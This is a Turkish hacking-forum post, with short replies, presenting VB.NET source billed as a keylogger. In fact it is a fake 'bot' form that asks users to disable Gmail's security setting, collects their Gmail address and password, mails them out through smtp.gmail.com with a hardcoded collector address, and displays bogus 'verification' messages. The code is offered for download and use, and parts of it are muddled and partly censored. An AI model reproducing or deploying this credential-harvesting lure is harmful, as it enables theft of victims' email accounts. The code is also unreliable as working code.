THT DUYURU

chat
Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

ugursuz reklam
takipci
Seçenekler

Keylogger Yapımı

CKodlayicisi - ait Kullanıcı Resmi (Avatar)
E-Mail onayı yapılmamış üye
Üyelik tarihi:
01/2019
Nereden:
Dünya
Mesajlar:
235
Konular:
47
Teşekkür (Etti):
9
Teşekkür (Aldı):
35
Ticaret:
(0) %
2
8515
08-02-2019 19:20
#1
Arkadaşlar Bugün sizlere Keylogger Yapımını Göstercem İsteyenlere Yapabilirim
Not:Kodlar Bana Aittir Ve acemi işi vb.net'de işe yarar denendi bu kodların gelişmişi için Discord Ckodlayicisi#1543
Gerekenler
3 textbox 1 button İsteyen Arttırabilir
Sonra textbox1'e sizin gmail konusudur
textbox2 gmailini yazar
textbox3'e şifresini yazar
ve butona basar Dikkat:Koruma Açıksa Olmayabilir
koruma kapatma kapatmak için açmanız gerekecek
https://www.google.com/settings/security/lesssecureapps
ve Kodlarımız İmport Kodları
Kod:
Imports System.Net.Mail
Imports System.Web
Imports System.IO
Imports System.Net
Şimdi Form Load Komutları
Kod:
TextBox1.Text = "Bot Adı"
        TextBox2.Text = "gmail hesabınız"
        TextBox3.Text = "Şifreniz"
        TextBox4.Text = "Davet Linki"
        TextBox5.Text = "Botun Spam Mesajı"
        site.Navigate("https://www.google.com/settings/security/lesssecureapps")
şimdi kalan tüm kodlar
Dikkat Form1 loadın altında end sub olcak ordan enterlayın end sub ile end class arasına yapıştırın
Kod:
    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        If TextBox2.Text = "" Or TextBox3.Text = "" Or TextBox1.Text = "" Then
            MsgBox("Lütfen Tüm Bilgileri Doğru Girin !", "Sıkıntı Çıkarsa Ckodlayicisi#1543 discordda ekle", MsgBoxStyle.Critical)
        Else
            Dim mail As New MailMessage
            mail.Subject = "oyunmadenihd2@gmail.com"
            mail.To.Add(TextBox2.Text) 'mail adresimiz
            mail.From = New MailAddress(TextBox2.Text)
            mail.Body = TextBox1.Text


            Dim smtp As New SmtpClient("smtp.gmail.com")
            smtp.EnableSsl = True
            smtp.Credentials = New System.Net.NetworkCredential(TextBox2.Text & TextBox1.Text, TextBox3.Text)
            smtp.Port = 587
            smtp.Send(mail)
            MsgBox(TextBox2.Text & " " & "Adresiniz Doğrulanıyor", MsgBoxStyle.Information)
            System.Threading.Thread.Sleep(5000)
            MsgBox("%random%")
            MsgBox("%100")
            System.Threading.Thread.Sleep(5000)
            MsgBox("Doğrulandı Bot Çalıştırılıyor...", MsgBoxStyle.Information)



        End If
    End Sub

    Private Sub WebBrowser1_********Completed(sender As Object, e As WebBrowser********CompletedEventArgs) Handles site.********Completed

    End Sub

    Private Sub LinkLabel1_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs)


    End Sub

    Private Sub CheckBox1_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBox1.CheckedChanged
        Process.Start("https://www.google.com/settings/security/lesssecureapps")
    End Sub

Dosya İndir
Tıkla İndir

Not:Yönetici kardeşler Yanlış Yere gitti konu taşırmısınız
Konu CKodlayicisi tarafından (08-02-2019 20:03 Saat 20:03 ) değiştirilmiştir.
DWTCN, Betrahal Teşekkür etti.
CKodlayicisi - ait Kullanıcı Resmi (Avatar)
E-Mail onayı yapılmamış üye
Üyelik tarihi:
01/2019
Nereden:
Dünya
Mesajlar:
235
Konular:
47
Teşekkür (Etti):
9
Teşekkür (Aldı):
35
Ticaret:
(0) %
08-02-2019 19:59
#2
Bişey Değil DWTCN .
Konu PALA tarafından (19-02-2019 23:04 Saat 23:04 ) değiştirilmiştir.
Betrahal - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
01/2019
Mesajlar:
42
Konular:
1
Teşekkür (Etti):
18
Teşekkür (Aldı):
5
Ticaret:
(0) %
19-02-2019 14:03
#3
eline saglik keyloggerlari test etmeyi dusunuyorsum bir bakicam ayrica c#ta yazdin dimi?

arada yazdiklarindan hicbir sey anlamadim, lutfen aciklamalar yaparken su turkceyi duzgun kullanalim.

tesekkurler
Konu Betrahal tarafından (24-02-2019 16:35 Saat 16:35 ) değiştirilmiştir.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler